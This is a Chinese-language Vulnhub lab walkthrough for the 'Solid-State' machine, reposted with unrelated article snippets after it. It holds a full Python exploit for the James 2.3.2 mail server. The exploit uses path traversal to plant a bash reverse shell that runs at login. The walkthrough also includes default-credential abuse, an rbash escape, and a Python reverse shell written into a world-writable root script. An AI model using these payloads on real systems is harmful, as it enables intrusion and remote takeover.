[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸

信息收集&SSH

Server IP addressPorts Open
192.168.8.100TCP:22,25,80,110,119,4555

Nmap 扫描:

$ nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV

结果:

Host is up (0.00061s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 192.168.8.100 (192.168.8.107 [192.168.8.107]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

目标存在 james-admin 服务.

$ nc 192.168.8.100 4555

使用root,root登录服务管理

image.png

修改用户mindy密码.

setpassword mindy mindy

再次连接到pop3服务

$ nc -nC 192.168.8.100 110

user mindy
pass mindy
list
retr 2

image-1.png

从邮件中获得用户名密码

username: mindy
pass: P@55W0rd1!2@

通过ssh登录后,你会发现这个用户受到rbash权限限制

image-2.png

当用户使用 rbash 时,会受到以下限制:

  • 禁止更改目录:用户无法使用 cd 命令更改当前工作目录。
  • 禁止设置和取消设置 shell 选项和位置参数:用户无法使用 set 和 unset 命令来更改 shell 的选项和位置参数。
  • 禁止执行包含斜杠(/)的命令:用户不能直接执行路径中包含斜杠的命令。这意味着用户只能运行系统中已经配置好的命令。
  • 禁止重定向输出:用户不能使用重定向(如 > 和 <)来读写文件。
  • 禁止使用环境变量更改路径:用户无法更改 $PATH 环境变量,以防止其访问未经授权的命令。
  • 禁止导入和定义函数:用户无法使用 source 或 . 来运行脚本,也不能定义函数。

使用 ssh -t 选项 rbash逃逸

$ ssh mindy@192.168.8.100 -t bash

image-3.png

使用 ssh -t 选项绕过 rbash
当你使用 ssh -t bash 命令时,实际的行为涉及以下关键点:

强制分配伪终端

  • -t 选项强制 SSH 会话分配一个伪终端。这在某些情况下是必要的,例如当需要交互式 shell 时。

直接启动新 Shell

  • SSH 成功登录后,-t bash 告诉 SSH 在目标机器上直接启动 bash shell,而不是默认的登录 shell。即使默认的登录 shell 是 rbash,该命令也会覆盖默认的 shell 并启动一个普通的 bash

逃逸 rbash 的限制

  • rbash 环境中,用户无法直接通过命令行启动 bash,因为它禁止执行包含斜杠的命令和路径。
    通过使用 ssh -t bash,你绕过了 rbash 的限制,因为这个命令是在 SSH 会话建立时由远程 SSH 服务处理的,而不是在 rbash shell 内部处理的。

利用 James 已知漏洞 rbash逃逸

#!/usr/bin/python3import socket
import sys
import time# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'if len(sys.argv) != 4:sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")sys.exit(1)remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login onlyprint ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)def recv(s):s.recv(1024)time.sleep(0.2)try:print ("[+]Connecting to James Remote Administration Tool...")s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.s.recv(1024)s.send((user + "\n").encode('utf-8'))s.recv(1024)s.send((pwd + "\n").encode('utf-8'))s.recv(1024)print ("[+]Creating user...")s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))s.recv(1024)s.send("quit\n".encode('utf-8'))s.close()print ("[+]Connecting to James SMTP server...")s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.s.send("ehlo team@team.pl\r\n".encode('utf-8'))recv(s)print ("[+]Sending payload...")s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))recv(s)# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be founds.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))recv(s)s.send("data\r\n".encode('utf-8'))recv(s)s.send("From: team@team.pl\r\n".encode('utf-8'))s.send("\r\n".encode('utf-8'))s.send("'\n".encode('utf-8'))s.send((payload + "\n").encode('utf-8'))s.send("\r\n.\r\n".encode('utf-8'))recv(s)s.send("quit\r\n".encode('utf-8'))recv(s)s.close()print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")if '/bin/bash' in payload:print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:print ("Connection failed.")

我们逐步分析脚本
1.这个脚本是利用了James目录穿越漏洞
2.创建一个恶意用户
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
3.连接SMTP(25)服务,发送邮件给…/…/…/…/…/…/…/…/etc/bash_completion.d

s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)

这行代码中发送给了 ../../../../../../../../etc/bash_completion.d,但是实际上服务端在处理该邮件时,已将带有反向shell的载荷保存到 ../../../../../../../../etc/bash_completion.d

由于 /etc/bash_completion.d 目录中的脚本在用户启动 Bash 时会自动加载和执行,因此当用户登录时,payload(有效载荷)也会被执行。

所以我们需要监听10032

$ nc -lvnp 10032
$ python3 exp.py 192.168.8.100 192.168.8.107 10032

image-4.png

因此我们需要利用ssh登录,来触发payload

$ ssh mindy@192.168.8.100

image-5.png

image-6.png

Local.txt 截屏

image-7.png

Local.txt 内容

dj218doa91

权限提升

我们将pspy32工具上传至服务器
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32

pspy32 是 pspy 工具的 32 位版本。pspy 是一个开源工具,用于监控 Linux 系统上的进程和命令执行。它不需要 root 权限,也不依赖于系统上的任何特定库或二进制文件,因此可以非常方便地用于安全审计和调试目的。

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x pspy32

image-8.png

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ vi /opt/tmp.py

root 用户执行了/opt/tmp.py
不幸的是,我们无法在/etc/crontab看到这个任务执行周期
通过ls -la /opt/tmp.py 查看,验证了这个文件的确可以被任何用户修改

我们将反向shell代码写入到/opt/tmp.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

image-9.png

$ nc -lvnp 10033

几分钟后我们可以获取目标Root权限

image-10.png

Proot.txt 截屏

image-11.png

Proot.txt 内容

di1910012n

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/28168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3588开发板中使用Qt对zip文件进行解压

操作步骤&#xff1a; 下载源码quazip-0.7.3.zip &#xff0c;在网上找找下载地址上传源码进行解压&#xff0c;然后使用命令 cd quazip-0.7.3 qmake make主要用的是quazip-0.7.3/quazip这个里面的源码&#xff0c;然后把源码加入到自己创建的qt项目pro中&#xff0c;导入方式…

phpStudy安装sqli-labs

phpStudy安装sqli-labs git地址&#xff1a;https://github.com/Audi-1/sqli-labs 点击管理–>根目录 将git下载的sqli-labs文件放进去并解压 进入sql-connections修改 修改db-creds.inc文件为自己数据库的账号密码 更改php版本为5.*&#xff0c;因为这个程序只能在php 5.…

[Golang] go-kit 介绍和使用 (微服务实现工具)

文章目录 1.go-kit 介绍1.1 go-kit 三层结构 2.go-kit 实例 1.go-kit 介绍 go-kit是一个分布式的开发工具集&#xff0c;在大型的组织&#xff08;业务&#xff09;中可以用来构建微服务&#xff0c;其解决了分布式系统中大多数常见问题&#xff0c;因此&#xff0c;使用者可以…

Paragon NTFS for Mac 15软件下载-详细安装教程视频

​Paragon NTFS for Mac是Mac平台上一款非常优秀的读写工具&#xff0c;可以在Mac OS X中完全读写、修改、访问NTFS硬盘、U盘等外接设备的文件。这款软件最大的亮点简书可以让我们读写 NTFS 分区&#xff0c;因为在Mac OS X 系统上&#xff0c;默认状态下我们只能读取NTFS 分区…

Java Arrays 类的常用方法详解

Arrays 类是 Java 标准库中的一个实用工具类&#xff0c;提供了许多静态方法来操作数组。其中一些方法在日常开发中使用频率较高。以下是一些在实际开发中最常用的方法&#xff1a; 1. toString 方法 将数组转换为字符串表示。 int[] array {1, 2, 3, 4, 5}; System.out.pr…

Spring-kafka消费者消费的一些问题

前言 Spring Kafka 无缝集成了 Spring Boot、Spring Framework 及其生态系统中的其他项目&#xff0c;如 Spring Cloud。通过与 Spring Boot 的自动配置结合&#xff0c;开发者可以快速启动和配置 Kafka 相关的功能。无需编写大量样板代码即可实现 Kafka 的生产和消费功能&…

Arm平台编译linuxdeployqt

在网上看了一下网友的分享&#xff0c;这个linuxdeployqt工具主要是用来打包qt程序的&#xff0c;但是程序不支持arm平台&#xff0c;需要下载源码编译才能用&#xff0c;自己测试了一下成功了&#xff0c;记录分享一下 操作步骤&#xff1a; 去下载源码&#xff1a;源码下载我…

揭开 Docker 容器的神秘面纱:深入理解容器原理

前言 前几年比较火的是微服务&#xff0c;再然后就是云。讨论技术必谈微服务&#xff0c;要上云&#xff0c;开发出的产品也都是某某云。现在讨论比较少了&#xff0c;因为AI盖过他们。还有就是因为容器技术&#xff0c;现在几乎都是k8s&#xff0c;云原生。要比较快的上手k8s…

HCIP笔记(拖拽题)

1、接口安全保护动作的名称和操作对应关系&#xff1a; 1&#xff09;restrict&#xff1a;丢弃触发静态MAC地址漂移的报文&#xff0c;并上报告警&#xff1b; 2&#xff09;protect&#xff1a;只丢弃触发触发静态MAC地址漂移的报文&#xff0c;不上报告警&#xff1b; 3&…

【源码】16国语言交易所源码/币币交易+期权交易+秒合约交易+永续合约+交割合约+新币申购+投资理财/手机端uniapp纯源码+PC纯源码+后端PHP

测试环境&#xff1a;Linux系统CentOS7.6、宝塔面板、Nginx、PHP7.3、MySQL5.6&#xff0c;根目录public&#xff0c;伪静态laravel5&#xff0c;开启ssl证书 语言&#xff1a;16种&#xff0c;看图 这套带前端uniapp纯源码&#xff0c;手机端和pc端都有纯源码&#xff0c;后…

【C++】 基础复习 | 数据类型,输入,输出流 scanf printf

文章目录 1 基本数据类型1.1 基本数据类型1.2 构造类型1.3 指针类型&#xff08;Pointers&#xff09; 2 基础输入输出2.1 通过输入输出操作符>> <<2.2 通过scanf和printf输入和输出2.2.1 输出printf 函数2.2.2 输出scanf 函数2.2.3 注意事项 1 基本数据类型 了解…

list集合自定义排序

一、基本类型排序 1.list中只有数字或字符串 //升序排序 List<T> ,T为数字或字符串 Collections.sort(list); //降序排序 Collections.sort(list,Collections.reverseOrder());2.list中为对象 基于jdk.18 import lombok.Data;Data public class User {private int i…

Linux基础指令(二)(文件、权限等)

目录 普通文件的操作 touch cat 翻页 标准输出重定向&#xff1a; 标准输出重定向种类&#xff1a;​​​​​​​ 管道符&#xff1a;&#xff5c; 压缩指令&#xff1a; zip gzip tar Linux下最常见的打包指令 其他系统指令&#xff1a;​​​​​​​ 快捷…

mysql update sql语句常见错误

以下update语句得不到预期结果 update event_detail set step_status1 and impact_area222isss.jsjd.lemem.com and end_time2024-06-14 17:23:39 where event_id91 and stepother_group2; 多个字段改动&#xff0c;不能使用 and连接&#xff0c;使用逗号“&#xff0c;”分隔即…

【C语言】进程间通信之管道pipe

进程间通信之管道pipe 一、进程间通信管道pipe()管道的读写行为 最后 一、进程间通信 管道pipe() 管道pipe也称为匿名管道&#xff0c;只有在有血缘关系的进程间进行通信。管道的本质就是一块内核缓冲区。 进程间通过管道的一端写&#xff0c;通过管道的另一端读。管道的读端…

【Python高阶编程】如何模拟生成训练日志并记录到文件

Python综合练习&#xff1a;生成训练日志 任务描述 在机器学习模型训练过程中&#xff0c;我们经常会记录模型的训练日志&#xff0c;包括accuracy&#xff08;准确率&#xff09;和loss&#xff08;损失&#xff09;。这个综合练习的目标是编写一段Python代码&#xff0c;模…

Linux下Shell脚本基础知识

主要参考视频&#xff1a; 这可能是B站讲的最好的Linux Shell脚本教程&#xff0c;3h打通Linux-shell全套教程&#xff0c;从入门到精通完整版_哔哩哔哩_bilibili 主要参考文档&#xff1a; Shell 教程 | 菜鸟教程 (runoob.com) Bash Shell教程 (yiibai.com) 先用视频入门&…

写在前面的话

《CSS in Depth》第二版开篇词 A minute to learn … A lifetime to master. ——Othello 「学会只需一分钟&#xff0c;精通却要一辈子」——这是诞生于上世纪的经典游戏《黑白棋》中的一个标语。 不知道看到这句话的你&#xff0c;是否有过这样的经历&#xff1a;在自己人生…

adb简单使用命令

1. 查看当前连接的设备 adb devices 2. 文件路径 adb install apk 注意文件路径中不能有中文 3. adb shell ps Toplogcatlogcat可以结合greplogcat *:w 显示警告级别以上de 4. adb uninstall 软件名 1.软件名如何查看&#xff1f; 使用命令adb shell pm list packages会…

基于springboot实现火锅店管理系统项目【项目源码+论文说明】

基于springboot实现火锅店管理系统演示 摘要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装火锅店管理系统软件来…